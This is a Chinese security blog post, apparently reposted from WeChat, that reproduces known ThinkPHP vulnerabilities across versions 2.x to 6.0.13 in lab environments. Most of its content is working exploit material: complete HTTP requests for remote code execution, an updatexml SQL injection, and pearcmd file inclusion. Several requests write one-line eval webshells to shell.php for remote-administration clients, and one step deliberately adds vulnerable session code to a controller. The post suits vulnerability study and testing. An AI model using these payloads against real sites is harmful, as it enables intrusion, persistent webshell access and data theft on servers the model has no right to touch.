2023年8月1日19:26:00评论147 views字数 10695阅读35分39秒阅读模式

ThinkPHP

TP - 2.x-RCE

ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞，也存在这个漏洞。

环境搭建

执行如下命令启动ThinkPHP 2.1的Demo应用：

docker compose up -d

漏洞复现 | ThinkPHP全版本漏洞复现

环境启动后，访问http://your-ip:8080/Index/Index即可查看到默认页面。

漏洞复现

直接访问http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D即可执行phpinfo()：

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 2.x-RCE x Getshell

下面给出一个能够直接菜刀连接的payload：

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

漏洞复现 | ThinkPHP全版本漏洞复现

使用蚁剑连接

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 5.0.9-SQLi

启动后，访问http://your-ip/index.php?ids[]=1&ids[]=2，即可看到用户名被显示了出来，说明环境运行成功。

漏洞复现 | ThinkPHP全版本漏洞复现

访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1，信息成功被爆出：

漏洞复现 | ThinkPHP全版本漏洞复现

找到数据库账号密码，敏感信息泄露。

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 5.0.22/5.1.29-RCE

ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。

控制器名未过滤导致rce

function为反射调用的函数，vars[0]为传入的回调函数，vars[1][]为参数为回调函数的参数

运行ThinkPHP 5.0.20版本：

docker compose up -d

环境启动后，访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

漏洞复现 | ThinkPHP全版本漏洞复现

直接访问http://your-ip:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1，即可执行phpinfo

漏洞复现 | ThinkPHP全版本漏洞复现

http://192.168.66.132:8080/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 5.0.22/5.1.29-RCE x Getshell

http://192.168.66.132:8080/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[1]);?>' > shell.php

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 5.0.23-RCE

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

在vulhub中开启即可

漏洞复现 | ThinkPHP全版本漏洞复现

页面访问

漏洞复现 | ThinkPHP全版本漏洞复现

抓包更改为POST

漏洞复现 | ThinkPHP全版本漏洞复现

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 5.0.23-RCE x Getshell

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.66.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[1]);?>' > shell.php

漏洞复现 | ThinkPHP全版本漏洞复现

响应500，实际上上传成功

漏洞复现 | ThinkPHP全版本漏洞复现

访问浏览器

漏洞复现 | ThinkPHP全版本漏洞复现

蚁剑连接

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.1 Session任意文件操作

使用Kali来一步一步部署6.0的tp

# 安装compose并放到bin下
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
# 换源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
# 安装thinkphp6.0
cd /var/www/html
composer create-project topthink/think tp6 6.0.1 --prefer-dist

# 依赖
sudo apt-get install php-mbstring
sudo apt-get install php-dom

# 启动
cd tp6
php think run -p 8000
# ！访问 ip:8000

漏洞复现 | ThinkPHP全版本漏洞复现

更改版本，使用composer update即可更新版本, “^6.0.0”改为"6.0.1"

修改两个文件，首先修改app/controller/Index.php

<?php
namespace appcontroller;

use appBaseController;

class Index extends BaseController
{
    public function index()
    {
        # + 加上这三行
        $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
        $b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
        session($a,$b);
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
}

开启session且写入的session可控

/tp6/app/middleware.php 文件开启session

去掉注释session的//

漏洞复现 | ThinkPHP全版本漏洞复现

遇到的一些小问题，kali下载php7.4一直缺少依赖，72,73都安装成功，但是composer必须7.4及以上，这就很烦，我干脆干掉它，直接找文件改代码，等于7.3。没想到成功。

漏洞复现 | ThinkPHP全版本漏洞复现

本来是70400，再次执行php7.3 think run 就ok了

漏洞复现 | ThinkPHP全版本漏洞复现

方法一

GET /?a=a&b=12<?php+phpinfo();+?> HTTP/1.1
Host: 192.168.66.132:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=1234567890123456789012345678.php;
Upgrade-Insecure-Requests: 1

漏洞复现 | ThinkPHP全版本漏洞复现

1234567890123456789012345678.php

http://192.168.66.132:8001/runtime/session/sess_1234567890123456789012345678.php

漏洞复现 | ThinkPHP全版本漏洞复现

访问没成功，emmm

方法二

GET /?a=a&b=12<?php+phpinfo();+?> HTTP/1.1
Host: 192.168.66.132:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=/../../../public/aaaaaaaaaaa.php;
Upgrade-Insecure-Requests: 1

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.13-Pearcmd x EXP

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前，存在一处本地文件包含漏洞。当多语言特性被开启时，攻击者可以使用lang参数来包含任意PHP文件。

虽然只能包含本地PHP文件，但在开启了register_argc_argv且安装了pcel/pear的环境下，可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。

Payload:

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

查看

docker exec -it 20c58ef53381 /bin/bash

漏洞复现 | ThinkPHP全版本漏洞复现

包含hello.php

GET /public/index.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../tmp/hello
Cookie: think_lang=zh-cn
Connection: close

浏览器访问

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.13-Pearcmd x GET

需要根据实际情况改变文件名称，写不进去可以考虑多加点../

GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

查看是否成功

漏洞复现 | ThinkPHP全版本漏洞复现

文件包含读取

GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.13-Pearcmd x HEADER

GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/2.php HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

查看

漏洞复现 | ThinkPHP全版本漏洞复现

文件包含查看

GET /public/index.php?lang=../../../../../../../../../../../../tmp/2 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.13-Pearcmd x COOKIES

GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/3.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

查看是否成功

漏洞复现 | ThinkPHP全版本漏洞复现

文件包含查看

GET /public/index.php?lang=../../../../../../../../../../../../tmp/3 HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

TP - 6.0.13-Pearcmd x Getshell

GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

漏洞复现 | ThinkPHP全版本漏洞复现

文件包含访问

GET /public/index.php?lang=../../../../../../../../../../../../var/www/html/shell HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

页面访问

漏洞复现 | ThinkPHP全版本漏洞复现

使用蚁剑连接

漏洞复现 | ThinkPHP全版本漏洞复现

原文始发于微信公众号（Eonian Sharp）：漏洞复现 | ThinkPHP全版本漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

左青龙
微信扫一扫

右白虎
微信扫一扫

漏洞复现 | ThinkPHP全版本漏洞复现

ThinkPHP

TP - 2.x-RCE

TP - 2.x-RCE x Getshell

TP - 5.0.9-SQLi

TP - 5.0.22/5.1.29-RCE

TP - 5.0.22/5.1.29-RCE x Getshell

TP - 5.0.23-RCE

TP - 5.0.23-RCE x Getshell

TP - 6.0.1 Session任意文件操作

TP - 6.0.13-Pearcmd x EXP

TP - 6.0.13-Pearcmd x GET

TP - 6.0.13-Pearcmd x HEADER

TP - 6.0.13-Pearcmd x COOKIES

TP - 6.0.13-Pearcmd x Getshell

关于PAN-OS DoS(CVE-2024-3393)的研究

DeepSeek-R1展示了小模型也能成为推理专家

Cobalt Strike 和一对 SOCKS 代理引发 LockBit 勒索软件事件

州弟的完全仿真代码审计环境

基于Linux的僵尸网络构建器，构建高级隐秘僵尸网络负载

从小白开发渗透工具视角入手，探究普通的DeepSeek和深度思考DeepSeek！

华为： Al系统的网络安全治理实践

使用ollama+chatboxai本地部署DeepSeek-R1

[靶场复现计划]CSLAB Thunder

LockBit勒索软件案例(CS+Socks5)

发表评论